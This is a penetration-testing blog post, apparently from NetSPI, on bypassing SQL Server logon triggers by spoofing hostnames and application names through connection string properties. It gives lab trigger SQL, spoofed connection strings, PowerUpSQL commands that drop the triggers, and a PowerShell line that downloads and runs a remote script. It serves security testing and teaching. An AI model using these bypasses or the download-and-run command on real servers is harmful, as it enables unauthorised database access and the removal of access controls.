It’s pretty common for us to perform application penetration testing against two-tier desktop applications that connect directly to SQL Server databases. Occasionally we come across a SQL Server backend that only allows connections from a predefined list of hostnames or applications. Usually those types of restrictions are enforced through logon triggers. In this blog I’ll show how to bypass those restrictions by spoofing hostnames and application names using lesser known connection string properties. The examples will include SSMS and PowerUpSQL. This should be useful to application penetration testers and developers who may have inherited a legacy desktop application.
This blog has been organized into the sections below, feel free to jump ahead.
A logon trigger is essentially a stored procedure that executes after successfully authenticating to SQL Server, but before the logon session is fully established. They are commonly used to programmatically restrict access to SQL Server based on time of day, hostnames, application names, and number of concurrent sessions by a single user.
If you don’t already have SQL Server installed and want to follow along, below are a few resources to get you started.
Below are instructions for setting up a trigger in your home lab that restricts access based on the connecting workstation name.
SELECT HOST_NAME()
-- Create our logon trigger CREATE TRIGGER MyHostsOnly ON ALL SERVER FOR LOGON AS BEGIN IF ( -- White list of allowed hostnames are defined here. HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox') ) BEGIN RAISERROR('You are not allowed to login from this hostname.', 16, 1); ROLLBACK; END END
At this point, you might ask, “when would I (an attacker) actually use this in the real world?”. Usually it’s after you’ve recovered connection strings from configuration files or decompiled code, and now we want to use that information to connect directly to the backend SQL Server. This is a very common scenario during application penetration tests, but we also find internal applications and configuration files on open file shares during network pentests and red team engagements.
Alright, let’s spoof our hostname in SSMS.
SELECT HOST_NAME()
Under the hood, SSMS is just building a connection string with our “workstation id” property set. Below is an example of a simple connection string that will connect to a remote SQL Server instance as the current Windows user and select the “Master” database.
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
If the logon trigger we showed in the last section was implemented, we should see the “failed to connect” message. However, if you set the “Workstation ID” property to an allowed hostname you would be allowed to log in.
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;
I’ve also added the “WorkstationId” option to the Get-SQLQuery function of PowerUpSQL. I will be working toward retrofitting the other functions once I find some more time. For now, below is an example showing how to bypass the logon trigger we created in the previous section.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
Below are instructions for setting up a trigger in your home lab that restricts access based on the connecting application name.
SELECT APP_NAME()
CREATE TRIGGER MyAppsOnly ON ALL SERVER FOR LOGON AS BEGIN IF ( -- Set the white list of application names here APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1') ) BEGIN RAISERROR('You are not allowed to login from this application name.', 16, 1); ROLLBACK; END END
Once again, you might ask, “when would I actually use this in the real world?”. Some applications have their name statically set in the connection string used to connect to the SQL Server. Similar to hostnames, we find them in configurations files and source code. It’s actually pretty rare to see a logon trigger restrict access by application name, but we have seen it a few times.
Alright, let’s spoof our appname in SSMS.
SELECT APP_NAME()
As I mentioned in the last section, there is a connection string property named “AppName” that can be used by applications to declare their application name to the SQL Server. Below are a few example of accepted formats.
Application Name =MyApp
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
ApplicationName =MyApp
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
AppName =MyApp
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
"
To help illustrate the application name spoofing scenario, I’ve updated the Get-SQLQuery function of PowerUpSQL to include the “appname” option. I will be working toward retrofitting the other functions once I find some more time. Below is a basic example for now.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query 'SELECT APP_NAME()'
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
If you’re not sure what hostnames and applications are in the logon trigger’s white list, below are a few options for blindly discovering them.
SELECT name, OBJECT_DEFINITION(OBJECT_ID) as trigger_definition, parent_class_desc, create_date, modify_date, is_ms_shipped, is_disabled FROM sys.server_triggers ORDER BY name ASC
In this blog I covered a few ways to leverage lesser known connection string properties to bypass access restrictions being enforced by SQL Server logon triggers. Hopefully this will be useful if you have to perform a penetration test of a legacy desktop application down the line. If nothing else, hopefully the blog highlighted a few things to avoid when building two-tiered desktop applications. For those who are interested, I’ve also updated the “SQL Server Connection String Cheatsheet” here.
PTaaS is NetSPI’s delivery model for penetration testing. It enables customers to simplify the scoping of new engagements, view their testing results in real time, orchestrate faster remediation, perform always-on continuous testing, and more - all through the Resolve™ vulnerability management and orchestration platform.
Learn More
We help organizations defend against adversaries by being the best at simulating real-world, sophisticated adversaries with the products, services, and training we provide. We know how attackers think and operate, allowing us to help our customers better defend against the threats they face daily.
At NetSPI, we believe that there is simply no replacement for human-led manual deep dive testing. Our Resolve platform delivers automation to ensure our people spend time looking for the critical vulnerabilities that tools miss. We provide automated and manual testing of all aspects of an organization’s entire attack surface, including external and internal network, application, cloud, and physical security.
Our proven methodology ensures that the client experience and our findings aren’t only as good as the latest tester assigned to your project. That consistency gives our customers assurance that if vulnerabilities exist, we will find them.
This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish. Read More
Name | Domain | Purpose | Expiry | Type |
---|---|---|---|---|
YSC | youtube.com | YouTube session cookie. | 52 years | HTTP |
Name | Domain | Purpose | Expiry | Type |
---|---|---|---|---|
VISITOR_INFO1_LIVE | youtube.com | YouTube cookie. | 6 months | HTTP |